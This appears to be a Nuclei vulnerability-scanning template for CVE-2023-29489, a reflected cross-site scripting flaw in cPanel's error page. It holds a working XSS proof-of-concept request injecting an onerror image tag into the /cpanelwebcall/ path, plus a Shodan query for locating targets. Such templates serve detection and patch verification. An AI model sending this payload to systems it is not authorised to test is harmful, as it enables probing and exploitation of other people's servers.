id: CVE-2023-29489

info:
  name: cPanel - Cross-Site Scripting
  author: DhiyaneshDk
  severity: medium
  description: |
    An issue was discovered in cPanel before 11.109.9999.116. Cross Site Scripting can occur on the cpsrvd error page via an invalid webcall ID.
  reference:
    - https://blog.assetnote.io/2023/04/26/xss-million-websites-cpanel/
    - https://nvd.nist.gov/vuln/detail/CVE-2023-29489
    - https://forums.cpanel.net/threads/cpanel-tsr-2023-0001-full-disclosure.708949/
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2023-29489
    cwe-id: CWE-79
    epss-score: 0.00203
    cpe: cpe:2.3:a:cpanel:cpanel:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    shodan-query: title:"cPanel"
    verified: true
    vendor: cpanel
    product: cpanel
  tags: cve,cve2023,cpanel,xss

http:
  - method: GET
    path:
      - '{{BaseURL}}/cpanelwebcall/<img%20src=x%20onerror="prompt(document.domain)">aaaaaaaaaaaa'

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '<img src=x onerror="prompt(document.domain)">aaaaaaaaaaaa'
          - 'Invalid webcall ID:'
        condition: and

      - type: status
        status:
          - 400